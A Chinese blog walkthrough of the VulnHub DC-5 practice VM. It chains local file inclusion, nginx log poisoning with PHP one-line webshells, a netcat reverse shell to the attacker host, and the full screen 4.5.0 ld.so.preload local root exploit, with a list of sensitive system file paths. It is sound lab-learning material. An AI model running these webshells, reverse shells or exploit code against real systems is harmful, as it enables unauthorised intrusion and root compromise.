VulnHub仿真靶机渗透之DC-5 【DC系列】


这次渗透是DC系列(VulnHub的仿真靶机)的DC-5,包含了日志文件getshell、suid提权-screen 4.5.0等知识。

VulnHub靶机渗透之DC-5【DC系列】

kali:192.168.124.134

主机发现-》获取靶机dc-5的IP地址:192.168.124.135

#获取ip地址
netdiscover -r 192.168.1.0/24
-r 指定ip段

1646913838234

扫描操作系统类型、开放端口:linux操作系统、 80http、111rpc、54438

80 http

111 rpc 【RPC是一个服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。简单理解rpc就是一个中介服务。】

54438端口开放

1646914649410

脚本是php的

1646917392312

发现Contact模块下可以输入内容,于是尝试多输入几次之后,发现了可疑的地方

1646976722824

看到有个表单可以提交,提交一下看看,发现了它会被提交到 thankyou.php 这个文件:

版权时间发生变化。

1646976841558

提交后的页面2017、2018、2019、2020都有,一直在变化

1647052434393

1647052483183

1647052500157

1647052518595

可以看到相同的页面,只是局部发生了改变,说明这里使用了文件包含。

动态文件包含√ 本地文件包含√ 远程文件包含×

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

看能不能找到这个包含的文件。

github上找了一个PHP的字典,用御剑跑了一下

1646924432992

1646924749713

1646924705439

测试一下是否为动态包含

找到这个脚本是 footer.php,多刷新几次都在变化,时间是会变动,是动态包含。

1647052747400

1647052691895

1647052704265

1647052734494

知道了这个脚本,现在需要知道thankyou.php是如何把footer.php包含的

文件包含参数爆破【其实我也用了wfuzz工具的,但是当时字典没找好,啥也没爆破出来】

手工测试

filename、file等来读取一下/etc/passwd。

尝试一下文件包含

http://192.168.124.135/thankyou.php?firstname=12&lastname=12&country=australia&subject=12  【原】

http://192.168.124.135/thankyou.php?filename=/etc/passwd ×

http://192.168.124.135/thankyou.php?file=/etc/passwd √

1646914932522

1647052892462

1646915826684

很巧,手工测出来了。

burp爆破

但是如果在一般情况下,常用的几个都弄完了,我们需要用burp进行爆破一下。

首先网上找一个好用的字典。

1647053494700

1647053804383

1647053906511

测试了一下远程文件包含,发现失败了,说明只能本地文件包含。

1647058011309

文件包含漏洞利用

1647055470976

1647055440747

找到了这些,但是字典还是不够大,没找到可以利用的东西,网上搜索了教程一下发现 /var/log/nginx/access.log 可以利用。

1647055645551

/var/log/nginx/access.log 会记录实时的请求数据报。

1647056197254

1647056650500

通过包含日志文件getshell

既然日志能记录我们的操作,那么我们就写入一句话到日志文件里吧:【通过包含日志文件getshell】

http://192.168.124.135/thankyou.php?file=<?php @eval($_REQUEST['shell'])?>

测试语句:
<?php phpinfo();?>

常用php一句话木马:
<?php @eval($_POST[shell]);?>
<?php @eval($_REQUEST['shell'])?>
<?php system($_GET['cmd']) ?>

前端的传输方式:
GET 数据从url提交
POST 数据采用隐蔽方式提交
REQUEST 即支持GET方式、又支持POST方式

后端执行函数:
@ + function表示忽略警告。
eval() 是可以执行php代码
system() 是可以执行系统命令
assert()


测试一下phpinfo()的php代码可不可以执行

1647245652373

phpinfo()的函数执行成功1647245824465

写入php一句话木马:

<?php @eval($_REQUEST['shell'])?>

1647246191533

中国蚁剑连接成功

1647246256437

连接成功

1647246334402

反弹shell

kali: 【在kali端开启监听1234端口。】

nc -lvp 1234
-l 开启监听
-p 指定一个端口
-v 显示详细输出

1647246892232

靶机dc5:【dc5反向连接kali的监听端口】

nc 192.168.124.134  1234 -e /bin/bash

1647246881106

连接成功

1647247004632

然后我们使用python获取一个完整的交互式shell,即bash

python -c 'import pty;pty.spawn("/bin/bash")'

1647247104823

suid提权-screen 4.5.0

sudo -l
# 看当前账号有哪些无密码可以root权限执行的程序

sudo -l没权限,看看suid吧。

尝试查找具有root权限的SUID的文件。

find / -perm /4000 2>/dev/null
find / -perm /4000 2>/dev/null
可以发现系统上运行的所有SUID可执行文件->尝试查找具有root权限的SUID的文件

find / -perm -4000 #输出信息会有报错信息。
find / perm -4000
find / -perm -4000 2>/dev/null
find / -perm /4000 2>/dev/null
重定向符 > 或者 >>, 两者的区别是:前者会先清空文件,然后再写入内容,后者会将重定向的内容追加到现有文件的尾部。
/dev/null是一个特殊的设备文件,这个文件接收到任何数据都会被丢弃。因此,null这个设备通常也被称为位桶(bit bucket)或黑洞。
Linux系统预留可三个文件描述符:0、1和2,他们的意义: 0——标准输入(stdin) 1——标准输出(stdout) 2——标准错误(stderr)
而结合以上知识就可以知道,2>/dev/null的意思就是将标准错误stderr删掉

#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \
以上3个都可以起到相同作用

1647248844829

1647248738842

1647248817828

【Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU
Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。】

利用screen-4.5.0提权

searchsploit screen 4.5.0
#在exploitdb里面搜索可以使用的exp
cat /usr/share/exploitdb/exploits/linux/local/41154.sh

1647249218200

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

这个脚本主要由三部分组成,原本是直接执行脚本,可是这个脚本有问题,所以需要创建2个文件,把每个代码块单独拿出来执行。

移动目录到/tmp下1647249737644

创建第一个文件,并复制一下代码块

vi libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

创建第二个文件,复制第二个代码块

vi  rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

1647250487548

用gcc 编译两个文件:

gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c

1647251336018

依次执行以下命令,得到root权限

cd /etc# because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell

1647251382398

总结:

文件包含参数与linux可用私密文件爆破【字典特别重要,github的一些star很多的项目也不够,以后要持续收集、wfuzz和burp都好用】、通过包含日志文件getshell、suid提权-screen 4.5.0

本次实验中使用wfuzz的一次失败经历

使用wfuzz【Web安全模糊测试工具】测试一下页面,失败了。用kali自带工具wfuzz(自带字典)扫描文件

wfuzz -w /usr/share/wordlists/wfuzz/general/test.txt http://192.168.124.135/FUZZ.php

1646920962465

wfuzz -w /usr/share/wordlists/wfuzz/general/test.txt http://192.168.124.135/FUZZ.php

如果确定了它存在本地文件包含!可以继续用wfuzz 缩小我们得到的参数范围:

wfuzz   -w /usr/share/wfuzz/wordlist/general/lfi1.txt -w /usr/share/wfuzz/wordlist/lfi.txt  http://192.168.124.135/thankyou.php?FUZZ=FUZ2Z
-w可以指定多个有效载荷

kali的默认字典【user/share/wfuzz/wordlist】里面没有lfi【本地文件包含的】的字典1646921763847

网上找了一个lfi字典给kali用用

1646922440355

好吧真不行,

wfuzz   -w /usr/share/wfuzz/wordlist/general/lfi1.txt -w /usr/share/wfuzz/wordlist/lfi.txt  http://192.168.124.135/thankyou.php?FUZZ=FUZ2Z

1646924907359

github自带的fuzz字典不行呀,网上暂时也没搜到什么。

额外知识:

Linux/Unix系统常见的敏感信息路径:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

1646920123878

参考链接:

VulnHub通关日记-DC_5-Walkthrough 【Gcow安全团队

打靶系列之-DC-5 【零度安全攻防实验室

https://blog.csdn.net/gramdog/article/details/80374119 【Shell中 2>/dev/null】

https://blog.csdn.net/Wu000999/article/details/101796673 【常用的php一句话木马格式】


文章作者: highgerms
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 highgerms !
 上一篇
VulnHub仿真靶机渗透之DC-6 【DC系列】 VulnHub仿真靶机渗透之DC-6 【DC系列】
这次渗透是DC系列(VulnHub的仿真靶机)的DC-6,包含了wordpress后台插件命令注入拿shell、nmap高版本提权获取root等知识。
下一篇 
VulnHub仿真靶机渗透之DC-4 【DC系列】 VulnHub仿真靶机渗透之DC-4 【DC系列】
这次渗透是DC系列(VulnHub的仿真靶机)的DC-4,包含了nc反弹shell、hydra爆破ssh 、teehee权限提升等知识。
  目录